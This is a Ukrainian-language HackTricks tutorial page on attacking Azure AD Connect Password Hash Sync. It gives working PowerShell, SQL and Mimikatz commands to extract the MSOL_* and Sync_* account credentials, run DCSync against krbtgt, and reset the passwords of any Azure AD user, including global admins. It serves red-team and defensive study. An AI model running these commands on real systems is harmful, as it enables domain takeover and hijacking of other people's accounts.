Az - PHS - Password Hash Sync
Reading time: 6 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Основна інформація
З документації: Синхронізація хешів паролів є одним із методів входу, що використовується для досягнення гібридної ідентичності. Azure AD Connect синхронізує хеш, хешу, пароля користувача з локальної інстанції Active Directory до хмарної інстанції Azure AD.
.png)
Це найпоширеніший метод, який використовують компанії для синхронізації локального AD з Azure AD.
Всі користувачі та хеш паролів синхронізуються з локального AD до Azure AD. Однак, паролі в чистому вигляді або оригінальні хеші не надсилаються до Azure AD.
Більше того, вбудовані групи безпеки (як-от адміністратори домену...) не синхронізуються з Azure AD.
Синхронізація хешів відбувається кожні 2 хвилини. Однак, за замовчуванням, терміни дії паролів та терміни дії облікових записів не синхронізуються в Azure AD. Тому користувач, чий локальний пароль прострочений (не змінений), може продовжувати доступ до ресурсів Azure за допомогою старого пароля.
Коли локальний користувач хоче отримати доступ до ресурсу Azure, автентифікація відбувається в Azure AD.
PHS необхідний для функцій, таких як Захист ідентичності та AAD Domain Services.
Півотування
Коли PHS налаштовано, деякі привілейовані облікові записи автоматично створюються:
- Обліковий запис
MSOL_<installationID>
автоматично створюється в локальному AD. Цей обліковий запис отримує роль Облікові записи синхронізації каталогу (див. документацію), що означає, що він має дозволи на реплікацію (DCSync) в локальному AD. - Обліковий запис
Sync_<name of on-prem ADConnect Server>_installationID
створюється в Azure AD. Цей обліковий запис може скидати пароль будь-якого користувача (синхронізованого або лише хмарного) в Azure AD.
Паролі двох попередніх привілейованих облікових записів зберігаються в SQL сервері на сервері, де встановлено Azure AD Connect. Адміністратори можуть витягувати паролі цих привілейованих користувачів у чистому вигляді.
База даних розташована в C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf
.
Можливо витягти конфігурацію з однієї з таблиць, одна з яких зашифрована:
SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;
Зашифрована конфігурація зашифрована за допомогою DPAPI і містить паролі користувача MSOL_*
в локальному AD та пароль Sync_* в AzureAD. Тому, компрометуючи ці дані, можна підвищити привілеї до AD та AzureAD.
Ви можете знайти повний огляд того, як ці облікові дані зберігаються та розшифровуються в цій доповіді.
Знаходження сервера Azure AD connect
Якщо сервер, на якому встановлено Azure AD connect, приєднаний до домену (рекомендується в документації), його можна знайти за допомогою:
# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
Зловживання MSOL_*
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
caution
Ви також можете використовувати adconnectdump для отримання цих облікових даних.
Зловживання Sync_*
Компрометуючи обліковий запис Sync_*
, можливо скинути пароль будь-якого користувача (включаючи глобальних адміністраторів)
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
# Get global admins
Get-AADIntGlobalAdmins
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
Також можливо змінити паролі лише для користувачів хмари (навіть якщо це несподівано)
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
Також можливо скинути пароль цього користувача.
caution
Інший варіант полягає в тому, щоб призначити привілейовані дозволи службі-принципалу, що Sync користувач має дозволи на це, а потім отримати доступ до цього служби-принципалу як спосіб підвищення привілеїв.
Seamless SSO
Можливо використовувати Seamless SSO з PHS, який вразливий до інших зловживань. Перевірте це в:
References
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs
- https://aadinternals.com/post/on-prem_admin/
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf
- https://www.youtube.com/watch?v=xei8lAPitX8
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.